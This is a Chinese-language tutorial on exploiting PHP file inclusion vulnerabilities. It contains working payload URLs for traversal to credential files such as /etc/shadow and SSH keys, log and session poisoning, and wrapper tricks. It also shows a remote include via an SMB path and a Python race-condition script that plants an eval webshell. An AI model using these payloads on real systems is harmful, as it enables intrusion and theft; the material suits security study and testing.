文件包含
参考资料:
文件包含漏洞简介
利用phpinfo条件竞争
PHP文件包含漏洞利用思路与Bypass总结手册
1. 概述
什么是文件包含:文件包含函数所加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他文件或恶意代码,导致信息泄露或代码注入。
要求:包含的文件路径攻击者可控,被包含的文件web服务器可访问。
1.1 常见的引发漏洞的函数:
-
include()
执行到include
时才包含文件,文件不存在时提出警告,但是继续执行。 -
require()
只要程序运行就会包含文件,文件不存在产生致命错误,并停止脚本。 -
include_once()
和require_once()
只执行一次,如果一个文件已经被包含,则这两个函数不会再去包含(即使文件中间被修改过)。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),其中的文本内容都会直接作为php代码进行解析。
1.2 利用条件
包含函数通过动态变量的方式引入需要包含的参数。
PHP中只要文件内容符合PHP语法规范,不管是什么后缀,都会被解析。
1.3 分类和利用思路
文件包含通常按照包含文件的位置分为两类:本地文件包含(LFI)和远程文件包含(RFI),顾名思义,本地文件包含就是指包含本地服务器上存储的一些文件;远程文件包含则是指被包含的文件不存储在本地。
本地文件包含
- 包含本地文件、执行代码
- 配合文件上传,执行恶意脚本
- 读取本地文件
- 通过包含日志的方式GetShell
- 通过包含
/proc/self/envion
文件GetShell - 通过伪协议执行恶意脚本
- 通过
phpinfo
页面包含临时文件
远程文件包含
- 直接执行远程脚本(在本地执行)
远程文件包含需要在
php.ini
中进行配置,才可开启:
allow_url_fopen = On
:本选项激活了 URL 风格的 fopen 封装协议,使得可以访问 URL 对象文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议。(出于安全性考虑,此选项只能在 php.ini 中设置。)
allow_url_include = On
:此选项允许将具有URL形式的fopen包装器与以下功能一起使用:include,include_once,require,require_once。(该功能要求allow_url_fopen
开启)
2. 利用方法
2.1 配合文件解析漏洞来包含
http://target.com/?page=../../upload/123.jpg/.php
2.2 读取系统敏感文件(路径遍历)
include.php?file=../../../../../../../etc/passwd
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
2.3 包含http日志文件
通过包含日志文件,来执行夹杂在URL请求或者User-Agent
头中的恶意脚本
-
通过读取配置文件确定日志文件地址
默认地址通常为:
/var/log/httpd/access_log
或/var/log/apache2/access.log
请求时直接在URL后面加上脚本即可
http://www.target.com/index.php<?php phpinfo();?>
,之后去包含这个日志文件即可。注意:日志文件会记录最为原始的URL请求,在浏览器地址栏中输入的地址会被URL编码,通过CURl或者Burp改包绕过编码。
apache+Linux 日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access_log
xmapp日志默认路径
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS默认日志文件
C:/WINDOWS/system32/Logfiles
%SystemDrive%/inetpub/logs/LogFiles
nginx
/usr/local/nginx/logs
/opt/nginx/logs/access.log
通过包含环境变量/proc/slef/enversion
来执行恶意脚本,修改HTTP请求的User-Agent
报头,但是没复现成功
2.4 包含SSH日志
和包含HTTP日志类似,登录用户的用户名会被记录在日志中,如果可以读取到ssh日志文件,则可以利用恶意用户名注入php代码。
SSH登录日志常见存储位置:/var/log/auth.log
或/var/log/secure
2.5 使用PHP伪协议
PHP内置了很多URL 风格的封装协议,除了用于文件包含,还可以用于很多文件操作函数。在phpinfo的Registered PHP Streams
中可以找到目前环境下可用的协议。
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 压缩文件
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
file://
访问本地文件系统http://target.com/?page=file://D:/www/page.txt
,正反斜线都行(windows),对于共享文件服务器可以使用\\smbserver\share\path\to\winfile.ext
。php://input
访问输入输出流:?page=php://input
,在POST内容中输入想要执行的脚本。-
php://filter
:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。全部可用过滤器列表:https://www.php.net/manual/zh/filters.php
通常利用该伪协议来读取php源码,通过设定编码方式(以base64编码为例),可以防止读取的内容被当做php代码解析,利用方式(就是read写不写的区别):
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
index.php?file=php://filter/convert.base64-encode/resource=index.php data://
数据流封装:?page=data://text/plain,脚本
-
zip://
压缩流:创建恶意代码文件,添加到压缩文件夹,上传,无视后缀。通过?page=zip://绝对路径%23文件名
访问,5.2.9之前是只能绝对路径。
备注:
文件需要绝对路径才能访问
需要通过
#
(也就是URL中的%23
)来指定代码文件-
compress.bzip2://
和compress.zlib://
压缩流,与zip类似,但是支持相对路径,无视后缀bzip
和gzip
是对单个文件进行压缩(不要纠结要不要指定压缩包内的文件)?file=compress.bzip2://路径
?file=compress.zlib://路径 -
phar://
支持zip、phar格式的压缩(归档)文件,无视后缀(也就是说jpg后缀照样给你解开来),?file=phar://压缩包路径/压缩包内文件名
,绝对路径和相对路径都行。利用方法:
index.php?file=phar://test.zip/test.txt
index.php?file=phar://test.xxx/test.txt制作phar文件(php5.3之后):
- 设置
php.ini
中phar.readonly=off
- 制作生成脚本
<?php
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要压缩的文件及内容
$phar->stopBuffering(); //签名自动计算
?>
// 这个脚本需要使用php.exe 来生成-
生成脚本2
<?php
$p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
$p->addFromString('test.txt', '<?php phpinfo();?>');
?>
//这个脚本可以通过访问来触发,在本地生成一个test.123,但是不能生成后缀为phar的文件(其他的都行,甚至是php)
- 设置
2.6 配合phpinfo页面包含临时文件
向phpinfo页面上传文件的时候,phpinfo会返回临时文件的保存路径
临时文件存活时间很短,当连接结束后,临时文件就会消失。条件竞争
只要发送足够多的的数据,让页面还未反应过来的时候去包含文件,即可。
发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
-
利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
利用脚本exp
2.7 包含Session
-
PHP将用户Session以文件的形式保存在主机中,通过
php.ini
文件中的session.save_path
字段可以设置具体的存储位置,通过phpinfo页面也可以查询到;文件命名格式为:sess_<PHPSESSID>
,其中PHPSESSID
为用户cookie中PHPSESSID对应的值;Session文件一些可能的保存路径:/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID -
Session文件内容有两种记录格式:php、php_serialize,通过修改
php.ini
文件中session.serialize_handler
字段来进行设置。以php格式记录时,文件内容中以
|
来进行分割:以php_serialize格式记录时,将会话内容以序列化形式存储:
-
如果保存的session文件中字符串可控,那么就可以构造恶意的字符串触发文件包含。
先构造一个含有恶意字符串的session文件:
?user=test&cmd=<?php phpinfo();?>
,之后包含这个会话的session文件。
2.9 包含环境变量
CGI****利用条件:1231、php以cgi方式运行,这样environ才会保存UA头。``2、environ文件存储位置已知,且environ文件可读。
利用姿势:proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
3. 绕过技巧
3.1 限制路径路径
服务器限制了访问文件的路径,例如在变量前面追加'/var/www/html'
限制只能包含web目录下的文件,可以利用路径穿越进行对抗。
../../../../../../../ect/passwd
对于输入有过滤的情况,可以尝试用URL编码进行转换,比如%2e%2e%2f
,甚至是二次转换。
3.2 限制后缀
对用户输入添加后缀,比如:自动添加.jgp
后缀、或者期望用户输如一个父目录,服务器自动拼接上子目录和文件。
-
如果是远程文件包含的话可以利用URL的特性:
?
、#
构造出类似于
http://test.com/evil.php?/static/test.php
和http://test.com/evil.php#/static/test.php
的包含路径,使得服务器预设的后缀变成URL的参数或者页面锚点。 -
利用压缩协议:构建一个压缩包归档文件,里面包含上服务器加的后缀,这样完整的路径将指向压缩包内文件。
比如压缩包中文件为
test.zip->test->defautl->test.php
,构造url:include.php?file=phar://test.zip/test
,服务端拼接后变成include('phar://test.zip/test/defautl/test.php')
-
利用超长字符串进行截断,在php<5.2.8的版本可以设置一个超级长的路径,超过的部分将被服务器丢弃。
win最长为256字节、Linux为4096字节,构造
include.php?file=./././././(n多个)././test.php
利用00截断:php<5.3.4时可用
%00
对字符串进行截断,%00
被是识别为字符串终止标记。
3.3 allow_url_include = off
利用SMB、webdav等使用UNC路径的文件共享进行绕过。
- 利用SMB(只对Win的web服务器有效):构建SMB服务器后,构造URL:
?include.php?file=\\172.16.97.128\test.php
- 利用WebDAV:构造连接
?include.php?file=//172.16.97.128/webdav/test.php
3.4 Base64 处理的session文件
为了保护用户的信息或存储更多格式的信息,很多时候都会对Session文件进行编码,以Base64编码为例,阐述绕过思路。了解服务端使用的编码模式以及对应的解码模式;合理安排payload使其满足解码条件,只要不干扰php代码运行就可以。
-
根据上边介绍的伪协议的用法,可以知道使用
index.php?file=php://filter/read=convert.base64-decode/resource=index.php
即可对base64编码的文件进行解码,但是直接解码session文件时会出现乱码。其原因在于session文档中包含的并非全部都是base64编码的内容,session开头的user|s:24:
字符串也被当做base64进行解码,从而导致出现乱码的情况,因此如果能忽略前面的字符,就可以完美解码了。 有利条件:PHP在进行base64解码的时候并不会去处理非Base64编码字符集的内容,直接忽略过去并拼接之后的内容。也就是说,Session文件中的
:
、|
、{}
、;
、"
这类字符对Base64解码没有影响。Base64解码过程简单来说就是:将字符串按照每4个字符分为一组,解码为二进制数据流再拼接到一起,因此要保证我们可以将payload正确解出,需要将编码后的payload其实位置控制在
4n+1
的位置(第5、9、13...位)。(base64编码后长度为原数据长度的4/3)-
user:|s:24:"
有效字符有7个,若要将payload置于第9位,则需要再增加一个字符,简单有效的办法就是让24
变成一个三位数——填充无效数据扩充payload长度。 -
serialize模式同理,session文件中
a:1:{s:4:"user";s:24:"
共11个干扰字符,因此同样只需将payload产生的字符串长度增加到三位数即可。
3.5 自己构造Session
有的网站可能不提供用户会话记录,但是默认的配置可以让我们自己构造出一个Session文件。相关的选项如下:
-
session.use_strict_mode = 0
,允许用户自定义Session_ID,也就是说可以通过在Cookie中设置PHPSESSID=xxx
将session文件名定义为sess_xxx
-
session.upload_progress.enabled = on
,PHP可以在每个文件上传时监视上传进度。 -
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
,当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。
利用思路:
上传一个文件
上传时设置一个自定义
PHPSESSID
cookie-
POST
PHP_SESSION_UPLOAD_PROGRESS
恶意字段:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'
这样就会在Session目录下生成一个包含恶意代码的session文件。
但是php默认设置中会打开
session.upload_progress.cleanup = on
,也就是当文件上传完成后会自动删除session文件,使用条件竞争绕过,恶意代码功能设置为生成一个shell.php。
利用exp:
import io
import sys
import requests
import threading
sessid = 'test'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://127.0.0.1/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
# print('[+++]retry')
# print(response.text)
if 'PHP Version' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
3.6 CVE-2018-14884
CVE-2018-14884会造成php7出现段错误,从而导致垃圾回收机制失效,POST的文件会保留在系统缓存目录下而不会被清除。
影响版本:
PHP Group PHP 7.0.*,<7.0.27
PHP Group PHP 7.1.*,<7.1.13
PHP Group PHP 7.2.*,<7.2.1
windows 临时文件:C:\windows\php<随机字符>.tmp
linux临时文件:/tmp/php<随机字符>
-
漏洞验证
include.php?file=php://filter/string.strip_tags/resource=index.php
返回500错误 -
post恶意字符串
import requests files = {
'file': '<?php phpinfo();'
}
url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
r = requests.post(url=url, files=files, allow_redirects=False) -
在临时文件中可以看到恶意代码成功写入
-
至于包含嘛,爆破或者其他手段探测这个临时文件吧。